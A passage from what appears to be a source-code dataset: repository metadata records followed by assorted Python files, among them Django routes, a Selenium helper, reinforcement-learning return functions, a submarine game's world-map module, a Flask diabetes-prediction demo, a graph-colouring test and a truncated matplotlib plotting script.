highestVersion: highestBase = base highestVersion = base.persistenceVersion if highestBase: self.__dict__['%s.persistenceVersion' % reflect.qual(highestBase)] = pver for base in bases: # ugly hack, but it's what the user expects, really if (Versioned not in base.__bases__ and not base.__dict__.has_key('persistenceVersion')): continue currentVers = base.persistenceVersion pverName = '%s.persistenceVersion' % reflect.qual(base) persistVers = (self.__dict__.get(pverName) or 0) if persistVers: del self.__dict__[pverName] assert persistVers <= currentVers, "Sorry, can't go backwards in time." while persistVers < currentVers: persistVers = persistVers + 1 method = base.__dict__.get('upgradeToVersion%s' % persistVers, None) if method: log.msg( "Upgrading %s (of %s @ %s) to version %s" % (reflect.qual(base), reflect.qual(self.__class__), id(self), persistVers) ) method(self) else: log.msg( 'Warning: cannot upgrade %s to version %s' % (base, persistVers) )

908

0

173

ab78ba6ea21ee758e3dc2d6ed113494570f40da1

423

py

Python

example_app/urls.py

dxillar/django-nepali-datetime-field

170109103b6dcbcf3d88e518097638edd8dc92fa

[ "MIT" ]

2

2021-07-27T09:31:20.000Z

2022-01-22T04:51:11.000Z

example_app/urls.py

dxillar/django-nepali-datetime-field

170109103b6dcbcf3d88e518097638edd8dc92fa

[ "MIT" ]

1

2021-08-16T09:37:43.000Z

2021-08-16T11:42:46.000Z

example_app/urls.py

dxillar/django-nepali-datetime-field

170109103b6dcbcf3d88e518097638edd8dc92fa

[ "MIT" ]

null

from django.urls import path from . import views urlpatterns = [ path('example/', views.ExampleListView.as_view(), name='example_list'), path('example/create', views.ExampleCreateView.as_view(), name='example_create'), path('example/<int:pk>/update/', views.ExampleUpdateView.as_view(), name='example_update'), path('example/<int:pk>/delete/', views.ExampleDeleteView.as_view(), name='example_delete'), ]

38.454545

95

0.723404

from django.urls import path from . import views urlpatterns = [ path('example/', views.ExampleListView.as_view(), name='example_list'), path('example/create', views.ExampleCreateView.as_view(), name='example_create'), path('example/<int:pk>/update/', views.ExampleUpdateView.as_view(), name='example_update'), path('example/<int:pk>/delete/', views.ExampleDeleteView.as_view(), name='example_delete'), ]

0

f9accf0185672edab98da0816005b9615b99845e

1,147

py

Python

ElectronicCommerce/test_case/models/driver.py

Pactortester/JingDongTestProject

b30bb987db9357f0812be64170c31b10a4cceee0

[ "MIT" ]

null

ElectronicCommerce/test_case/models/driver.py

Pactortester/JingDongTestProject

b30bb987db9357f0812be64170c31b10a4cceee0

[ "MIT" ]

null

ElectronicCommerce/test_case/models/driver.py

Pactortester/JingDongTestProject

b30bb987db9357f0812be64170c31b10a4cceee0

[ "MIT" ]

1

2021-09-07T02:06:01.000Z

from threading import Thread from selenium.webdriver import Remote from selenium import webdriver # start browser """ if __name__ == '__main__': host_list = {'127.0.0.1:4444': 'internet explorer', '127.0.0.1:5555': 'chrome'} threads = [] files = range(len(host_list)) for host_name, browser_name in host_list.items(): t = Thread(target=browser, args=(host_name, browser_name)) threads.append(t) for i in files: threads[i].start() for i in files: threads[i].join() """ if __name__ == '__main__': driver = browser() driver.get("http://www.baidu.com") driver.quit()

27.97561

97

0.62075

from threading import Thread from selenium.webdriver import Remote from selenium import webdriver # start browser def browser(): # browser (chrome, firefox, ie ...) driver = webdriver.Chrome() # driver = webdriver.Ie() # driver = webdriver.Firefox() # dc = {'platform': 'ANY', 'browserName': 'chrome', 'version': '', 'javascriptEnabled': True} # dc = {'browserName': dc_browser} # host = '127.0.0.1:4444' # host: port (default: 127.0.0.1:4444) # dc = {'browserName': 'chrome'} # driver = Remote(command_executor='http://' + host + '/wd/hub', desired_capabilities=dc) return driver """ if __name__ == '__main__': host_list = {'127.0.0.1:4444': 'internet explorer', '127.0.0.1:5555': 'chrome'} threads = [] files = range(len(host_list)) for host_name, browser_name in host_list.items(): t = Thread(target=browser, args=(host_name, browser_name)) threads.append(t) for i in files: threads[i].start() for i in files: threads[i].join() """ if __name__ == '__main__': driver = browser() driver.get("http://www.baidu.com") driver.quit()

487

0

22

e0274a74ce7936e51ee707d9e4845ace56c95ffb

940

py

Python

lagom/metric/returns.py

zuoxingdong/lagom

3b6710804dbc79c6dffb369ac87c68f4055ab6cd

[ "MIT" ]

383

2018-07-11T17:43:10.000Z

2022-01-24T08:46:23.000Z

lagom/metric/returns.py

LorinChen/lagom

273bb7f5babb1f250f6dba0b5f62c6614f301719

[ "MIT" ]

90

2018-07-11T23:51:45.000Z

2021-12-16T08:56:42.000Z

lagom/metric/returns.py

LorinChen/lagom

273bb7f5babb1f250f6dba0b5f62c6614f301719

[ "MIT" ]

32

2018-07-12T18:21:03.000Z

2021-09-15T05:47:48.000Z

import numpy as np from lagom.transform import geometric_cumsum from lagom.utils import numpify def bootstrapped_returns(gamma, rewards, last_V, reach_terminal): r"""Return (discounted) accumulated returns with bootstrapping for a batch of episodic transitions. Formally, suppose we have all rewards :math:`(r_1, \dots, r_T)`, it computes .. math:: Q_t = r_t + \gamma r_{t+1} + \dots + \gamma^{T - t} r_T + \gamma^{T - t + 1} V(s_{T+1}) .. note:: The state values for terminal states are masked out as zero ! """ last_V = numpify(last_V, np.float32).item() if reach_terminal: out = geometric_cumsum(gamma, np.append(rewards, 0.0)) else: out = geometric_cumsum(gamma, np.append(rewards, last_V)) return out[0, :-1].astype(np.float32)

29.375

95

0.647872

import numpy as np from lagom.transform import geometric_cumsum from lagom.utils import numpify def returns(gamma, rewards): return geometric_cumsum(gamma, rewards)[0, :].astype(np.float32) def bootstrapped_returns(gamma, rewards, last_V, reach_terminal): r"""Return (discounted) accumulated returns with bootstrapping for a batch of episodic transitions. Formally, suppose we have all rewards :math:`(r_1, \dots, r_T)`, it computes .. math:: Q_t = r_t + \gamma r_{t+1} + \dots + \gamma^{T - t} r_T + \gamma^{T - t + 1} V(s_{T+1}) .. note:: The state values for terminal states are masked out as zero ! """ last_V = numpify(last_V, np.float32).item() if reach_terminal: out = geometric_cumsum(gamma, np.append(rewards, 0.0)) else: out = geometric_cumsum(gamma, np.append(rewards, last_V)) return out[0, :-1].astype(np.float32)

76

0

23

7bb94c472fc1b0918cc565d949b96695ed473f73

689

py

Python

generate_console_data.py

MarioPossamato/MariOver

088adc0c0c9350b5a426093d2efbfce7edf28b24

[ "MIT" ]

14

2022-03-06T22:25:44.000Z

2022-03-22T19:49:20.000Z

generate_console_data.py

MarioPossamato/MariOver

088adc0c0c9350b5a426093d2efbfce7edf28b24

[ "MIT" ]

1

2022-03-15T06:28:05.000Z

2022-03-17T09:33:12.000Z

generate_console_data.py

MarioPossamato/MariOver

088adc0c0c9350b5a426093d2efbfce7edf28b24

[ "MIT" ]

1

2022-03-09T09:35:21.000Z

from nintendo.dauth import LATEST_VERSION username = None password = None with open("ConsoleData/8000000000000010", mode="rb") as file: data = file.read() username_bytes = bytearray(data[0x00064020:0x00064028]) username_bytes.reverse() username = "0x" + username_bytes.hex().upper() password = data[0x00064028:0x00064050].decode("ascii") with open("webserver_args.json", mode="w") as file: args = """{ "system_version": %d, "user_id": "%s", "password": "%s", "keys": "./ConsoleData/prod.keys", "prodinfo": "./ConsoleData/PRODINFO.dec", "ticket": "./ConsoleData/SUPER MARIO MAKER 2 v0 (01009B90006DC000) (BASE).tik" }""" % (LATEST_VERSION, username, password) file.write(args)

34.45

79

0.711176

from nintendo.dauth import LATEST_VERSION username = None password = None with open("ConsoleData/8000000000000010", mode="rb") as file: data = file.read() username_bytes = bytearray(data[0x00064020:0x00064028]) username_bytes.reverse() username = "0x" + username_bytes.hex().upper() password = data[0x00064028:0x00064050].decode("ascii") with open("webserver_args.json", mode="w") as file: args = """{ "system_version": %d, "user_id": "%s", "password": "%s", "keys": "./ConsoleData/prod.keys", "prodinfo": "./ConsoleData/PRODINFO.dec", "ticket": "./ConsoleData/SUPER MARIO MAKER 2 v0 (01009B90006DC000) (BASE).tik" }""" % (LATEST_VERSION, username, password) file.write(args)

0

61734459fe44e90b6292840ec0c69472f8b973e6

11,811

py

Python

ALTANTIS/world/world.py

finnbar/ALTANTIS

8754fcec1845b9b2dcce478554f25d2a50f873b4

[ "MIT" ]

null

ALTANTIS/world/world.py

finnbar/ALTANTIS

8754fcec1845b9b2dcce478554f25d2a50f873b4

[ "MIT" ]

null

ALTANTIS/world/world.py

finnbar/ALTANTIS

8754fcec1845b9b2dcce478554f25d2a50f873b4

[ "MIT" ]

1

2020-08-30T16:21:10.000Z

""" Deals with the world map, which submarines explore. """ import string from functools import reduce from ALTANTIS.utils.text import list_to_and_separated from ALTANTIS.utils.direction import reverse_dir, directions from ALTANTIS.utils.consts import X_LIMIT, Y_LIMIT from ALTANTIS.world.validators import InValidator, NopValidator, TypeValidator, BothValidator, LenValidator, RangeValidator from ALTANTIS.world.consts import ATTRIBUTES, WEATHER, WALL_STYLES import random from typing import List, Optional, Tuple, Any, Dict, Collection undersea_map = [[Cell() for _ in range(Y_LIMIT)] for _ in range(X_LIMIT)] def map_to_dict() -> Dict[str, Any]: """ Converts our map to dict form. Since each of our map entries can be trivially converted into dicts, we just convert them individually. We also append a class identifier so they can be recreated correctly. """ undersea_map_dicts : List[List[Dict[str, Any]]] = [[{} for _ in range(Y_LIMIT)] for _ in range(X_LIMIT)] for i in range(X_LIMIT): for j in range(Y_LIMIT): undersea_map_dicts[i][j] = undersea_map[i][j]._to_dict() return {"map": undersea_map_dicts, "x_limit": X_LIMIT, "y_limit": Y_LIMIT} def map_from_dict(dictionary: Dict[str, Any]): """ Takes a triple generated by map_to_dict and overwrites our map with it. """ global X_LIMIT, Y_LIMIT, undersea_map X_LIMIT = dictionary["x_limit"] Y_LIMIT = dictionary["y_limit"] map_dicts = dictionary["map"] undersea_map_new = [[Cell._from_dict(map_dicts[x][y]) for y in range(Y_LIMIT)] for x in range(X_LIMIT)] undersea_map = undersea_map_new

39.634228

207

0.605283

""" Deals with the world map, which submarines explore. """ import string from functools import reduce from ALTANTIS.utils.text import list_to_and_separated from ALTANTIS.utils.direction import reverse_dir, directions from ALTANTIS.utils.consts import X_LIMIT, Y_LIMIT from ALTANTIS.world.validators import InValidator, NopValidator, TypeValidator, BothValidator, LenValidator, RangeValidator from ALTANTIS.world.consts import ATTRIBUTES, WEATHER, WALL_STYLES import random from typing import List, Optional, Tuple, Any, Dict, Collection class Cell(): # A dictionary of validators to apply to the attributes VALIDATORS = { "weather": InValidator(WEATHER.keys()), "docking": BothValidator(LenValidator(0, 255), TypeValidator(str)), "wallstyle": InValidator(WALL_STYLES), "hiddenness": BothValidator(TypeValidator(int), RangeValidator(0, 10)) } def __init__(self): # The items this square contains. self.treasure = [] # Fundamentally describes how the square acts. These are described # throughout the class. A cell with no attributes acts like Empty from # the previous version - has no extra difficulty etc. self.attributes = {} # The list of subs for whom the hiddenness attribute no longer affects the rendering of the map self.explored = set([]) @classmethod def _from_dict(cls, serialisation): p = cls() p.treasure = list(serialisation['treasure']) p.attributes = dict(serialisation['attributes']) if "explored" in serialisation: p.explored = set(serialisation["explored"]) return p def _to_dict(self): return { "treasure": list(self.treasure), "attributes": dict(self.attributes), "explored": list(self.explored) } def cell_tick(self): if "deposit" in self.attributes and random.random() < 0.015: self.treasure.append("plating") if "diverse" in self.attributes and random.random() < 0.015: self.treasure.append("specimen") if "ruins" in self.attributes and random.random() < 0.015: self.treasure.append(random.choice(["tool", "circuitry"])) if random.random() < 0.01: self.explored.clear() def treasure_string(self) -> str: return list_to_and_separated(list(map(lambda t: t.title(), self.treasure))) def square_status(self) -> str: return f"This square has treasures {self.treasure_string()} and attributes {self.attributes}." def pick_up(self, power: int) -> List[str]: power = min(power, len(self.treasure)) treasures = [] for _ in range(power): treas = random.choice(self.treasure) self.treasure.remove(treas) treasures.append(treas) return treasures def bury_treasure(self, treasure: str) -> bool: self.treasure.append(treasure) return True def unbury_treasure(self, treasure: str) -> bool: if treasure in self.treasure: index = self.treasure.index(treasure) del self.treasure[index] return True return False def name(self, to_show: Collection[str] = ("d", "a", "m", "e", "j")) -> Optional[str]: if "name" in self.attributes: name = string.capwords(self.attributes["name"], " ") if name != "": return name to_check = {"d": "docking", "a": "ruins", "m": "deposit", "e": "diverse", "j": "junk"} for attr in to_check: if attr in to_show and to_check[attr] in self.attributes: name = self.attributes[to_check[attr]].title() if name != "": return name return None def outward_broadcast(self, strength: int) -> str: # This is what the sub sees when scanning this cell. suffix = "" if "hiddenness" in self.attributes: if self._hidden(strength): return "" suffix = " (was hidden)" broadcast = [] if self.attributes.get("weather", "normal") == "stormy": broadcast.append("a storm brewing") if len(self.treasure) > 0: if strength > 2: broadcast.append(self.treasure_string()) else: plural = "" if len(self.treasure) != 1: plural = "s" broadcast.append(f"{len(self.treasure)} treasure{plural}") if "diverse" in self.attributes: broadcast.append("a diverse ecosystem") if "ruins" in self.attributes: broadcast.append("some ruins") if "junk" in self.attributes: broadcast.append("some submarine debris") if "deposit" in self.attributes: broadcast.append("a mineral deposit") if "docking" in self.attributes: broadcast.append("a docking station") prefix = "An unnamed square, containing: " square_name = self.name() if square_name is not None: prefix = f"An square named {square_name}, containing: " if len(broadcast) > 0: return f"{prefix}{list_to_and_separated(broadcast)}{suffix}" return "" # We can't type check this because it would cause a circular import. def on_entry(self, sub) -> Tuple[str, bool]: # This is what happens when a sub attempts to enter this space. # This includes docking and damage. if "docking" in self.attributes: sub.movement.set_direction(reverse_dir[sub.movement.get_direction()]) sub.power.activate(False) (x, y) = sub.movement.get_position() return f"Docked at **{self.attributes['docking'].title()}** at position ({x}, {y})! The power has been stopped. Please call !exit_sub to leave the submarine and enter the docking station.", False if "obstacle" in self.attributes: sub.damage(1) sub.movement.set_direction(reverse_dir[sub.movement.get_direction()]) return f"The submarine hit a wall and took one damage!", True return "", False def can_npc_enter(self) -> bool: return not ("docking" in self.attributes or "obstacle" in self.attributes) def to_char(self, to_show: List[str], show_hidden: bool = False, perspective: Optional[Collection[str]] = None) -> str: if show_hidden or not self._hidden(0, perspective): if "t" in to_show and len(self.treasure) > 0: return "T" if "a" in to_show and "ruins" in self.attributes: return "A" if "j" in to_show and "junk" in self.attributes: return "J" if "m" in to_show and "deposit" in self.attributes: return "M" if "e" in to_show and "diverse" in self.attributes: return "E" if "w" in to_show and "obstacle" in self.attributes: if "wallstyle" in self.attributes and self.attributes['wallstyle'] in WALL_STYLES: return self.attributes['wallstyle'] else: return "W" if "d" in to_show and "docking" in self.attributes: return "D" if "s" in to_show and "weather" in self.attributes: return WEATHER.get(self.attributes.get("weather", "normal"), ".") return "." def map_name(self, to_show: List[str], show_hidden: bool = False, perspective: Optional[Collection[str]] = None) -> Optional[str]: # For Thomas' map drawing code. # Gives names to squares that make sense. treasure = "" if not show_hidden and self._hidden(0, perspective): return "" if "t" in to_show and len(self.treasure) > 0: treasure = self.treasure_string() name = self.name(to_show) if name is not None: if treasure != "": return f"{name} (with treasure {treasure})" return name if treasure != "": return f"has {treasure}" return None def docked_at(self) -> Optional[str]: # Returns its name if it's a docking station, else None if "docking" in self.attributes: return self.attributes["docking"].title() return None def difficulty(self) -> int: difficulties = {"storm": 8, "rough": 6, "normal": 4, "calm": 2} modifier = 1 if "ruins" in self.attributes else 0 return difficulties.get(self.attributes.get('weather', "normal"), 4) + modifier def has_been_scanned(self, subname: str, strength: int) -> None: if not self._hidden(strength): self.explored.add(subname) def _hidden(self, strength: int, ships: Optional[Collection[str]] = None) -> bool: if ships and not self.explored.isdisjoint(ships): return False else: return "hiddenness" in self.attributes and self.attributes["hiddenness"] > strength def add_attribute(self, attr: str, val="") -> bool: if attr not in ATTRIBUTES: return False validator = self.VALIDATORS.get(attr, NopValidator()) clean = validator(val) if clean is None: return False if attr not in self.attributes or self.attributes[attr] != clean: self.attributes[attr] = clean self.explored.clear() return True return False def remove_attribute(self, attr: str) -> bool: if attr in self.attributes: del self.attributes[attr] self.explored.clear() return True return False undersea_map = [[Cell() for _ in range(Y_LIMIT)] for _ in range(X_LIMIT)] def in_world(x: int, y: int) -> bool: return 0 <= x < X_LIMIT and 0 <= y < Y_LIMIT def possible_directions() -> List[str]: return list(directions.keys()) def get_square(x: int, y: int) -> Optional[Cell]: if in_world(x, y): return undersea_map[x][y] return None def bury_treasure_at(name: str, pos: Tuple[int, int]) -> bool: (x, y) = pos if in_world(x, y): return undersea_map[x][y].bury_treasure(name) return False def unbury_treasure_at(name: str, pos: Tuple[int, int]) -> bool: (x, y) = pos if in_world(x, y): return undersea_map[x][y].unbury_treasure(name) return False def pick_up_treasure(pos: Tuple[int, int], power: int) -> List[str]: (x, y) = pos if in_world(x, y): return undersea_map[x][y].pick_up(power) return [] def map_tick(): for x in range(X_LIMIT): for y in range(Y_LIMIT): undersea_map[x][y].cell_tick() def map_to_dict() -> Dict[str, Any]: """ Converts our map to dict form. Since each of our map entries can be trivially converted into dicts, we just convert them individually. We also append a class identifier so they can be recreated correctly. """ undersea_map_dicts : List[List[Dict[str, Any]]] = [[{} for _ in range(Y_LIMIT)] for _ in range(X_LIMIT)] for i in range(X_LIMIT): for j in range(Y_LIMIT): undersea_map_dicts[i][j] = undersea_map[i][j]._to_dict() return {"map": undersea_map_dicts, "x_limit": X_LIMIT, "y_limit": Y_LIMIT} def map_from_dict(dictionary: Dict[str, Any]): """ Takes a triple generated by map_to_dict and overwrites our map with it. """ global X_LIMIT, Y_LIMIT, undersea_map X_LIMIT = dictionary["x_limit"] Y_LIMIT = dictionary["y_limit"] map_dicts = dictionary["map"] undersea_map_new = [[Cell._from_dict(map_dicts[x][y]) for y in range(Y_LIMIT)] for x in range(X_LIMIT)] undersea_map = undersea_map_new

9,001

988

184

e0c510106ef78198473f06da95d40e884b02a014

1,961

py

Python

webapp/app.py

fcalderonnearsoft/Workshop-ML

3e45ffbd36f1fd54f2f2bb51bf9bce13ecff23ea

[ "MIT" ]

null

webapp/app.py

fcalderonnearsoft/Workshop-ML

3e45ffbd36f1fd54f2f2bb51bf9bce13ecff23ea

[ "MIT" ]

null

webapp/app.py

fcalderonnearsoft/Workshop-ML

3e45ffbd36f1fd54f2f2bb51bf9bce13ecff23ea

[ "MIT" ]

null

from flask import Flask, render_template, request from wtforms import Form, TextAreaField, validators import os import pickle app = Flask(__name__) ######## Preparing the Predictor cur_dir = os.path.dirname(__file__) clf = pickle.load(open(os.path.join(cur_dir,'pkl_objects/diabetes.pkl'), 'rb')) @app.route('/') @app.route('/results', methods=['POST']) if __name__ == '__main__': app.run(debug=True) # # #2,108,64,30.37974684,156.05084746,30.8,0.158,21

33.237288

153

0.587455

from flask import Flask, render_template, request from wtforms import Form, TextAreaField, validators import os import pickle app = Flask(__name__) ######## Preparing the Predictor cur_dir = os.path.dirname(__file__) clf = pickle.load(open(os.path.join(cur_dir,'pkl_objects/diabetes.pkl'), 'rb')) def classify(document): label = {0: 'negative', 1: 'positive'} print ("==========================================") print (document) print ("==========================================") document = document.split(',') document = [float(i) for i in document] y = clf.predict([document])[0] return label[y] class ReviewForm(Form): moviereview = TextAreaField('', [validators.DataRequired(), validators.length(min=15)]) @app.route('/') def index(): form = ReviewForm(request.form) return render_template('reviewform.html', form=form) @app.route('/results', methods=['POST']) def results(): form = ReviewForm(request.form) if request.method == 'POST': pregnacies = request.form['number_of_pregnacies'] glucose = request.form['glucose'] blood_pressure = request.form['blood_pressure'] thickness = request.form['thickness'] insulin = request.form['insulin'] body_mass_index = request.form['body_mass_index'] diabetes_pedigree = request.form['diabetes_pedigree'] age = request.form['age'] test = pregnacies+ "," + glucose+ "," + blood_pressure+ "," + thickness+ "," + insulin+ "," + body_mass_index+ "," + diabetes_pedigree+ "," + age y = classify(test) return render_template('results.html', content=test, prediction=y) return render_template('reviewform.html', form=form) if __name__ == '__main__': app.run(debug=True) # # #2,108,64,30.37974684,156.05084746,30.8,0.158,21

1,235

158

90

92e9a81f33bc75b1870d7a82ff76972027a6c214

485

py

Python

graph/graph_coloring_tests/test_big_file.py

DariaMinieieva/sudoku_project

acfe6b6ff4e0343ad0dae597e783f9da40a7faee

[ "MIT" ]

5

2021-05-27T09:26:30.000Z

2021-05-28T10:33:46.000Z

graph/graph_coloring_tests/test_big_file.py

DariaMinieieva/sudoku_project

acfe6b6ff4e0343ad0dae597e783f9da40a7faee

[ "MIT" ]

null

graph/graph_coloring_tests/test_big_file.py

DariaMinieieva/sudoku_project

acfe6b6ff4e0343ad0dae597e783f9da40a7faee

[ "MIT" ]

1

2021-05-28T08:43:05.000Z

"""Module to test graph with maximum size that supports coloring algorithm.""" import sys import os from time import time sys.path.append(os.getcwd()) from graph.graph_coloring import Graph graph = Graph() graph.create_graph_from_file('graph/graph_coloring_tests/max_size_graph.txt') start = time() colored_vertices = graph.color_graph(995) end = time() expected = [f'V{num}:{num}' for num in range(1, 995)] print(expected == colored_vertices) print('Time taken: ', end - start)

23.095238

78

0.752577

"""Module to test graph with maximum size that supports coloring algorithm.""" import sys import os from time import time sys.path.append(os.getcwd()) from graph.graph_coloring import Graph graph = Graph() graph.create_graph_from_file('graph/graph_coloring_tests/max_size_graph.txt') start = time() colored_vertices = graph.color_graph(995) end = time() expected = [f'V{num}:{num}' for num in range(1, 995)] print(expected == colored_vertices) print('Time taken: ', end - start)

0

871c6f314ff69142514f2c265c9c846749999e69

9,791

py

Python

figures/EOM/EOM-CoM.py

novarios/Thesis

55feaec71ec2de255c6df52df5229ddaca10790a

[ "MIT" ]

null

figures/EOM/EOM-CoM.py

novarios/Thesis

55feaec71ec2de255c6df52df5229ddaca10790a

[ "MIT" ]

null

figures/EOM/EOM-CoM.py

novarios/Thesis

55feaec71ec2de255c6df52df5229ddaca10790a

[ "MIT" ]

null

import sys import matplotlib import matplotlib.pyplot as plt import numpy as np from matplotlib.ticker import MultipleLocator from matplotlib import gridspec from mpl_toolkits.axes_grid.inset_locator import inset_axes #majorLocatorX = MultipleLocator(2) #minorLocatorX = MultipleLocator(1) #majorLocatorY = MultipleLocator(0.05) #minorLocatorY = MultipleLocator(0.025) filename1 = '/home/sam/Documents/thesis/data/PA_EOM_COM.dat' filename2 = '/home/sam/Documents/thesis/data/PR_EOM_COM.dat' hw0_1 = [] e0_1 = [] hw1_1 = [] e1_1 = [] hwa_1 = [] hw0_2 = [] e0_2 = [] hw1_2 = [] e1_2 = [] hwa_2 = [] hw0_3 = [] e0_3 = [] hw1_3 = [] e1_3 = [] hwa_3 = [] hw0_4 = [] e0_4 = [] hw1_4 = [] e1_4 = [] hwa_4 = [] hw0_5 = [] e0_5 = [] hw1_5 = [] e1_5 = [] hwa_5 = [] hw0_6 = [] e0_6 = [] hw1_6 = [] e1_6 = [] hwa_6 = [] hw0_7 = [] e0_7 = [] hw1_7 = [] e1_7 = [] hwa_7 = [] hw0_8 = [] e0_8 = [] hw1_8 = [] e1_8 = [] hwa_8 = [] with open(filename1) as f1: data1 = f1.read() data1 = data1.split('\n') with open(filename2) as f2: data2 = f2.read() data2 = data2.split('\n') for num in range(len(data1)): line = data1[num].split() if( num - num%6 == 0 ): hw0_1.append(float(line[0])) e0_1.append(float(line[6])) elif( num - num%6 == 6 ): hw0_2.append(float(line[0])) e0_2.append(float(line[6])) elif( num - num%6 == 12 ): hw0_3.append(float(line[0])) e0_3.append(float(line[6])) elif( num - num%6 == 18 ): hw0_4.append(float(line[0])) e0_4.append(float(line[6])) if( num >= 24 and num%2 == 0 ): line2 = data1[num+1].split() if( num >= 24 and num < 36 ): if( float(line[7]) < float(line2[7]) ): hw1_1.append(float(line[0])) e1_1.append(float(line[7])) hwa_1.append(float(line[1])) else: hw1_1.append(float(line2[0])) e1_1.append(float(line2[7])) hwa_1.append(float(line2[1])) if( num >= 36 and num < 48 ): if( float(line[7]) < float(line2[7]) ): hw1_2.append(float(line[0])) e1_2.append(float(line[7])) hwa_2.append(float(line[1])) else: hw1_2.append(float(line2[0])) e1_2.append(float(line2[7])) hwa_2.append(float(line2[1])) if( num >= 48 and num < 60 ): if( float(line[7]) < float(line2[7]) ): hw1_3.append(float(line[0])) e1_3.append(float(line[7])) hwa_3.append(float(line[1])) else: hw1_3.append(float(line2[0])) e1_3.append(float(line2[7])) hwa_3.append(float(line2[1])) if( num >= 60 and num < 72 ): if( float(line[7]) < float(line2[7]) ): hw1_4.append(float(line[0])) e1_4.append(float(line[7])) hwa_4.append(float(line[1])) else: hw1_4.append(float(line2[0])) e1_4.append(float(line2[7])) hwa_4.append(float(line2[1])) for num in range(len(data2)): line = data2[num].split() if( num - num%6 == 0 ): hw0_5.append(float(line[0])) e0_5.append(float(line[6])) elif( num - num%6 == 6 ): hw0_6.append(float(line[0])) e0_6.append(float(line[6])) elif( num - num%6 == 12 ): hw0_7.append(float(line[0])) e0_7.append(float(line[6])) elif( num - num%6 == 18 ): hw0_8.append(float(line[0])) e0_8.append(float(line[6])) if( num >= 24 and num%2 == 0 ): line2 = data2[num+1].split() if( num >= 24 and num < 36 ): if( float(line[7]) < float(line2[7]) ): hw1_5.append(float(line[0])) e1_5.append(float(line[7])) hwa_5.append(float(line[1])) else: hw1_5.append(float(line2[0])) e1_5.append(float(line2[7])) hwa_5.append(float(line2[1])) if( num >= 36 and num < 48 ): if( float(line[7]) < float(line2[7]) ): hw1_6.append(float(line[0])) e1_6.append(float(line[7])) hwa_6.append(float(line[1])) else: hw1_6.append(float(line2[0])) e1_6.append(float(line2[7])) hwa_6.append(float(line2[1])) if( num >= 48 and num < 60 ): if( float(line[7]) < float(line2[7]) ): hw1_7.append(float(line[0])) e1_7.append(float(line[7])) hwa_7.append(float(line[1])) else: hw1_7.append(float(line2[0])) e1_7.append(float(line2[7])) hwa_7.append(float(line2[1])) if( num >= 60 and num < 72 ): if( float(line[7]) < float(line2[7]) ): hw1_8.append(float(line[0])) e1_8.append(float(line[7])) hwa_8.append(float(line[1])) else: hw1_8.append(float(line2[0])) e1_8.append(float(line2[7])) hwa_8.append(float(line2[1])) print(e0_1) print(hw0_1) print(e1_1) print(hw1_1) print(hwa_1) print(e0_2) print(hw0_2) print(e1_2) print(hw1_2) print(hwa_2) print(e0_3) print(hw0_3) print(e1_3) print(hw1_3) print(hwa_3) print(e0_4) print(hw0_4) print(e1_4) print(hw1_4) print(hwa_4) #hw0_1_1 = hw0_1[:-1] #e0_1_1 = e0_1[:-1] #hw0_2_1 = hw0_2[:-1] #e0_2_1 = e0_2[:-1] plt.rc('font', family='serif') fig = plt.figure(figsize=(11, 10)) gs = gridspec.GridSpec(2, 2) ax1 = plt.subplot(gs[0]) plt.plot(hw0_1, e0_1, '-', marker='o', color='k', linewidth=2.0, label=r'$\mathrm{{}^{17}O(5/2^{+})}$') plt.plot(hw0_2, e0_2, '--', marker='s', color='r', linewidth=2.0, label=r'$\mathrm{{}^{17}F(5/2^{+})}$') plt.plot(hw0_3, e0_3, ':', marker='^', color='b', linewidth=2.0, label=r'$\mathrm{{}^{23}O(1/2^{+})}$') plt.plot(hw0_4, e0_4, '-.', marker='v', color='g', linewidth=2.0, label=r'$\mathrm{{}^{23}F(5/2^{+})}$') plt.axis([6.0, 30.0, -0.5, 9.0]) plt.setp(ax1.get_xticklabels(), visible=False) ax1.set_ylabel(r'$\mathrm{E_{cm}(\omega)\ (MeV)}$', fontsize=15) ax1.legend(bbox_to_anchor=(0.325,0.975), frameon=False, fontsize=11) ax2 = plt.subplot(gs[1]) plt.plot(hw1_1, e1_1, '-', marker='o', color='k', linewidth=2.0, label=r'$\mathrm{{}^{17}O(5/2^{+})}$') plt.plot(hw1_2, e1_2, '--', marker='s', color='r', linewidth=2.0, label=r'$\mathrm{{}^{17}F(5/2^{+})}$') plt.plot(hw1_3, e1_3, ':', marker='^', color='b', linewidth=2.0, label=r'$\mathrm{{}^{23}O(1/2^{+})}$') plt.plot(hw1_4, e1_4, '-.', marker='v', color='g', linewidth=2.0, label=r'$\mathrm{{}^{23}F(5/2^{+})}$') plt.axis([6.0, 30.0, 0.0, 1.0]) plt.setp(ax2.get_xticklabels(), visible=False) ax2.set_ylabel(r'$\mathrm{E_{cm}(\widetilde{\omega})\ (MeV)}$', fontsize=15) inset_axes2 = inset_axes(ax2,width="50%",height=1.5,loc=1) plt.plot(hw0_1, hwa_1, '-', marker='o', color='r', linewidth=2.0) plt.plot(hw0_3, hwa_3, '-.', marker='v', color='b', linewidth=2.0) plt.xlabel(r'$\mathrm{\hbar\omega\ (MeV)}$', fontsize=14) plt.ylabel(r'$\mathrm{\hbar\widetilde{\omega}\ (MeV)}$', fontsize=14) annotation_string = r'$\mathrm{^{17}O,^{17}F}$' plt.annotate(annotation_string, fontsize=12, xy=(0.25, 0.75), xycoords='axes fraction') annotation_string = r'$\mathrm{^{23}O,^{23}F}$' plt.annotate(annotation_string, fontsize=12, xy=(0.50, 0.25), xycoords='axes fraction') ax2.legend(bbox_to_anchor=(0.325,0.975), frameon=False, fontsize=11) ax3 = plt.subplot(gs[2]) plt.plot(hw0_5, e0_5, '-', marker='o', color='k', linewidth=2.0, label=r'$\mathrm{{}^{15}N(1/2^{-})}$') plt.plot(hw0_6, e0_6, '--', marker='s', color='r', linewidth=2.0, label=r'$\mathrm{{}^{15}O(1/2^{-})}$') plt.plot(hw0_7, e0_7, ':', marker='^', color='b', linewidth=2.0, label=r'$\mathrm{{}^{21}N(1/2^{-})}$') plt.plot(hw0_8, e0_8, '-.', marker='v', color='g', linewidth=2.0, label=r'$\mathrm{{}^{21}O(5/2^{+})}$') plt.axis([6.0, 30.0, -0.5, 10.0]) ax3.set_xlabel(r'$\mathrm{\hbar\omega\ (MeV)}$', fontsize=15) ax3.set_ylabel(r'$\mathrm{E_{cm}(\omega)\ (MeV)}$', fontsize=15) ax3.legend(bbox_to_anchor=(0.325,0.975), frameon=False, fontsize=11) ax4 = plt.subplot(gs[3]) plt.plot(hw1_5, e1_5, '-', marker='o', color='k', linewidth=2.0, label=r'$\mathrm{{}^{15}N(1/2^{-})}$') plt.plot(hw1_6, e1_6, '--', marker='s', color='r', linewidth=2.0, 